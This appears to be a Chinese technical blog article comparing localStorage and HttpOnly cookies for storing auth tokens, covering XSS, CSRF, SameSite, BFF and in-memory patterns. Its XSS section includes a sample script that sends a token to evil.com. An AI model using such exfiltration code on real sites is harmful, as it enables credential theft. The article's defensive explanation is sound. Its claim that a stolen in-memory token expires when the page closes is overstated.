Skip to content
localStorage vs Cookie:Token 存储方案的信任模型差异
概述
在 Web 应用中持久化认证令牌(Token)时,通常会在 localStorage 与 HttpOnly Cookie 之间做出选择。这一选择的关键不在于便利性,而在于两者依赖的信任模型不同:localStorage 信任 JavaScript 运行时环境,由代码显式管理 Token;HttpOnly Cookie 则信任浏览器的内置安全机制,由平台自动承载和发送凭证。理解两种模型各自面临的威胁及缓解手段,是做出合理工程决策的前提。
信任模型
Token 存储的本质是把“调用者身份凭证”放置在某一个运行环境中,并让后续请求能够以可信的方式携带该凭证。两种方案的信任边界截然不同。
- 基于代码的信任模型:
localStorage将 Token 直接暴露给同源 JavaScript。任何在页面中执行的脚本都能读取 Token,这是localStorage的标准行为,而非安全漏洞。防御核心在于保证 JavaScript 执行环境不被注入恶意代码。 - 基于平台的信任模型:HttpOnly
Cookie把 Token 封装在浏览器内部,JavaScript 完全看不到内容。浏览器按照预定义的规则自动附带 Cookie,防御核心在于防止跨站请求伪造(CSRF)和利用浏览器安全策略限制使用范围。
localStorage 方案
基本用法
登录成功后把 Token 存入 localStorage,后续请求手动附加到 Authorization 头部。
js
// 存储
localStorage.setItem('auth_token', response.token);
// 发送请求
fetch('/api/user', {
headers: {
Authorization: `Bearer ${localStorage.getItem('auth_token')}`
}
});浏览器不会在发往同源或跨源的请求中自动发送该 Token,所有认证行为都由前端代码显式控制。
工作原理
localStorage 遵循同源策略,允许同源 JavaScript 自由读写其中存储的键值对。它的设计目标是作为客户端持久化存储,容量约 5 MB,数据绝不会随 HTTP 请求自动发送。这些特性决定了它适用于需要手动控制认证头的 SPA 模式,但也将 Token 的暴露面完全交给了 JavaScript 执行环境。
威胁模型:XSS
localStorage 方案的核心攻击面是跨站脚本攻击(XSS)。攻击者一旦能在页面中执行恶意脚本,就可以通过简单代码窃取 Token:
js
// 假设已发生 XSS 注入
fetch('https://evil.com/collect', {
method: 'POST',
body: JSON.stringify({
token: localStorage.getItem('auth_token')
})
});攻击路径通常是:用户输入未正确过滤 → 恶意脚本注入 → 读取 localStorage → Token 外泄。
此处需要明确的是,localStorage 允许同源 JavaScript 读取是其标准行为,问题并不出在 API 设计,而在于复杂前端项目中防御 XSS 的难度较高。第三方 npm 依赖、富文本渲染、广告脚本、浏览器扩展等都可能成为注入入口,要在实际工程中做到完全的 XSS 防御并不容易。
采用原因
尽管存在 XSS 风险,localStorage 方案仍然被不少项目使用,原因包括:
- 后端无耦合:不需要服务端配合设置
Set-Cookie,纯前端即可完成 Token 存取。 - 请求体积可控:Token 不会随每个同源请求自动附加,避免了不必要的带宽消耗(Cookie 默认会附加到所有匹配的请求中)。
- 容量充足:约 5 MB 的空间足以容纳较大的 JWT,不受单条 Cookie 约 4 KB 的限制。
- REST 风格直觉:在 SPA 中手动管理
Authorization头与无状态 API 设计较为契合。
Cookie(HttpOnly)方案
基本用法
服务端通过 Set-Cookie 响应头下发 Token,并配置安全属性:
http
Set-Cookie: auth_token=xxx; HttpOnly; Secure; SameSite=Strict; Max-Age=86400; Path=/浏览器收到响应后自动存储该 Cookie,并在后续同源请求中自动附加 Cookie 请求头。因为标记了 HttpOnly,前端 JavaScript 完全无法通过 document.cookie 读取该 Cookie。
工作原理
浏览器按照 Domain、Path、Secure、SameSite 等属性自动管理 Cookie 的生命周期与发送策略。HttpOnly 属性将 Cookie 的可见性限定在 HTTP 传输层,JavaScript 运行时中没有对应的数据源。这意味着即使发生 XSS 注入,攻击脚本也无从获取 Token 的字符串值。
威胁模型:CSRF
Cookie 的自动发送特性引入了跨站请求伪造(CSRF)。典型攻击路径如下:
- 用户在站点 A 登录,浏览器获得并存储认证 Cookie;
- 用户随后访问恶意站点 B;
- 站点 B 向站点 A 发起请求(例如通过
<form>或fetch触发),浏览器自动附带站点 A 的 Cookie; - 站点 A 以用户身份执行了攻击者构造的操作。
目前针对 CSRF 的防御技术已经比较成熟:
- SameSite=Strict/Lax:指示浏览器在跨站请求时不发送 Cookie,从平台层面阻断 CSRF。2020 年起主流浏览器已将 SameSite 默认值调整为 Lax,大幅压缩了攻击面。
- Origin / Referer 校验:服务端验证请求来源,作为额外防护层。
- CSRF Token:引入攻击者无法获取的额外随机值(相较于 SameSite 属于更早期的防御技术,但仍然有效)。
HttpOnly 的核心价值
HttpOnly Cookie 在 XSS 场景下直接消除了 Token 被窃取离线使用的风险。两者造成的危害等级有实质性差异:
- localStorage 场景:XSS 可完整读取 Token,攻击者获取后可持久利用,直至 Token 过期或人工吊销。
- HttpOnly Cookie 场景:XSS 无法读取 Token 文本,攻击者只能通过被注入的页面发起请求(浏览器会自动附带 Cookie),属于一次性利用,无法将凭证转移到外部持续使用。
所以,HttpOnly 标记并非声称可以完全抵御 XSS 带来的影响,而是将漏洞可能造成的损害从“凭证泄露”降级为“会话内利用”。
示例:SameSite 对跨站请求的影响
假设站点 A(https://site-a.com)设置了 auth_token Cookie,并分别尝试 SameSite=Strict 与 SameSite=Lax。在站点 B(https://site-b.com)页面中执行以下脚本:
js
// 从站点 B 向站点 A 发起的跨站请求
fetch('https://site-a.com/api/user', {
credentials: 'include'
}).then(res => res.json());当 SameSite=Strict 时,无论何种请求方式(表单提交、fetch、链接导航),浏览器均不会附带该 Cookie。
当 SameSite=Lax 时,对于 fetch 这类非顶级导航请求,浏览器同样不会附带 Cookie;但用户点击 <a> 链接或 GET 表单提交等顶级导航,浏览器会附带 Cookie。
这个行为差异说明 SameSite 属性如何通过限制跨站请求中 Cookie 的发送来防御 CSRF,且 Lax 模式在安全性与用户体验之间取得了平衡。
方案对比
| 维度 | localStorage | Cookie (HttpOnly) |
|---|---|---|
| JS 可读写 | 是 | 否(HttpOnly 屏蔽) |
| 随请求自动发送 | 否,需手动附加 | 是,浏览器自动 |
| 主要威胁 | XSS → Token 窃取 | CSRF → 请求伪造 |
| 威胁严重度 | 凭证可被持久化泄露 | 凭证不可窃取,仅会话内利用 |
| 容量 | 约 5 MB | 约 4 KB(单条 Cookie) |
| 跨域控制 | 依赖 CORS 手动处理 | 受 Domain / SameSite 约束 |
| 过期机制 | 需手动实现 | Max-Age / Expires |
| 后端依赖 | 无 | 需 Set-Cookie 配合 |
| 子域共享 | 不支持 | 可配置 Domain |
应用场景
同域部署且可控制后端
当浏览器与服务器同域部署时,常采用 HttpOnly + Secure + SameSite=Strict Cookie 存储 Token。这样做并非 Cookie 方案天然安全,而是 XSS 的注入面远大于 CSRF 的防御面——XSS 可来自第三方脚本、富文本、用户生成内容等复杂链条,而 CSRF 在 SameSite=Lax 默认行为下已成为相对可控的问题。将防御重心放在攻击面更小的一侧,是更理性的取舍。
BFF(Backend For Frontend)模式
一种常见做法是通过 BFF 层隔离浏览器与后端服务之间的认证关系:
text
浏览器 ←→ BFF(同域)←→ 后端服务
Cookie Internal TokenBFF 与前端部署在同域下,浏览器侧使用 HttpOnly Cookie 维护会话。BFF 在转发请求至后端服务时携带内部服务 Token(如 Bearer Token)。前端完全不感知 Token 的存在,只依赖同源会话 Cookie。这种方式在浏览器侧完全规避了 Token 的 XSS 窃取风险,Token 刷新逻辑集中于 BFF,前端无需处理凭证生命周期。
无法控制后端或跨域场景
当后端 API 部署在其他域,或者项目为纯静态部署而无法控制 Set-Cookie 行为时,使用 localStorage 是一种受限选择。此时至少应配套以下措施:
- 内容安全策略(CSP):通过
Content-Security-Policy头严格限制脚本来源(如script-src 'self'),降低 XSS 注入的可能性。 - Token 短生命周期:将 access token 有效期控制在 5~15 分钟,即使泄露,攻击窗口也有限。
- Refresh token 走 HttpOnly Cookie:在 OAuth 等流程中,若条件允许,将 refresh token 放在同源 HttpOnly Cookie 中,access token 仅存于 JavaScript 内存(而非
localStorage)。这样即使 access token 因 XSS 泄漏,也仅在短暂窗口内有效。
内存存储折中方案
还有一种做法是只将 access token 保存在 JavaScript 闭包中,不进行持久化:
js
let accessToken = null;
async function getToken() {
if (!accessToken) {
const res = await fetch('/auth/refresh', {
method: 'POST',
credentials: 'include'
});
accessToken = (await res.json()).access_token;
}
return accessToken;
}该方案假设 refresh token 已通过 HttpOnly Cookie 下发。access token 仅在当前页面生命周期内有效,页面刷新后需要重新换取。XSS 攻击虽然可能在当前会话中获取 access token,但无法实现持久化窃取——页面关闭后,攻击者手中的 token 即会失效。代价是每次新开页面或刷新都需要一次额外的刷新请求,并且在 Service Worker 等离线场景中难以长期使用。
在真实的工程环境里,没有一种方案能在所有条件下提供绝对安全。决策的重点在于给定系统约束下,选择风险最可控的模型。在浏览器平台不断强化安全原语的趋势下,HttpOnly Cookie 配合 SameSite 策略在同域场景中提供了相对更为收敛的攻击面;而当平台条件不满足时,则需要借助 CSP、短生命周期凭证和内存存储等手段构建多层防御。
